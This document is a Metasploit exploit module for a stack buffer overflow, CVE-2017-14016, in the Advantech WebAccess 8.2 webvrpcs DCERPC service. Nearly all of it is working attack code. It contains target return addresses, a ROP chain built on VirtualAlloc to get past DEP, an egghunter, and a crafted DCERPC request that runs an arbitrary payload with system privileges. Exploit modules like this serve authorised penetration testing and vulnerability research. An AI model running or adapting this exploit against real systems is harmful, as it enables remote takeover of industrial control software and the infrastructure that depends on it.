Advantech WebAccess 8.2 Stack Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Advantech WebAccess 8.2.  
By sending a specially crafted DCERPC request, an attacker could overflow  
the buffer and execute arbitrary code.  
},  
'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'ZDI', '17-938' ],  
[ 'CVE', '2017-14016' ],  
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',  
{  
'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14  
'Slide' => 0x07048f5b, # retn  
'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04  
}  
],  
],  
'DisclosureDate' => 'Nov 02 2017',  
'DefaultTarget' => 0))  
register_options([ Opt::RPORT(4592)])  
end  
  
def create_rop_chain()  
  
# this target opts into dep  
rop_gadgets =  
[  
0x020214c6, # POP EAX # RETN [BwKrlAPI.dll]  
0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]  
0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]  
0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]  
0x0201a646, # POP EBP # RETN [BwKrlAPI.dll]  
0x07024822, # & push esp # ret [BwPAlarm.dll]  
0x070442dd, # POP EAX # RETN [BwPAlarm.dll]  
0xffffffff, # Value to negate, will become 0x00000001  
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]  
0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]  
rand_text_alpha(4).unpack('V'),  
rand_text_alpha(4).unpack('V'),  
rand_text_alpha(4).unpack('V'),  
0x02030af7, # POP EAX # RETN [BwKrlAPI.dll]  
0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)  
0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]  
0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]  
0x07078df5, # POP EAX # RETN [BwPAlarm.dll]  
0xffffffc0, # Value to negate, will become 0x00000040  
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]  
0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]  
0x0706fe66, # POP EDI # RETN [BwPAlarm.dll]  
rand_text_alpha(4).unpack('V'),  
rand_text_alpha(4).unpack('V'),  
0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]  
0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]  
0x90909090, # nop  
0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]  
].flatten.pack("V*")  
return rop_gadgets  
end  
  
def exploit  
connect  
handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
# send the request to get the handle  
resp = dcerpc.call(0x4, [0x02000000].pack('V'))  
handle = resp.last(4).unpack('V').first  
print_good("Got a handle: 0x%08x" % handle)  
egg_options = { :eggtag => "0day" }  
egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)  
  
# apparently this is called a ret chain  
overflow = [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Jmp']].pack('V')  
overflow << [target['Ret']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << [target['Slide']].pack('V')  
overflow << create_rop_chain()  
overflow << egghunter  
overflow << egg  
overflow << rand_text_alpha(0x1000-overflow.length)  
  
# sorry but I dont like msf's ndr class.  
sploit = [handle].pack('V')  
sploit << [0x000138bd].pack('V') # opcode we are attacking  
sploit << [0x00001000].pack('V') # size to copy  
sploit << [0x00001000].pack('V') # size of string  
sploit << overflow  
print_status("Trying target #{target.name}...")  
begin  
dcerpc_call(0x1, sploit)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
ensure  
disconnect  
end  
handler  
end  
end  
`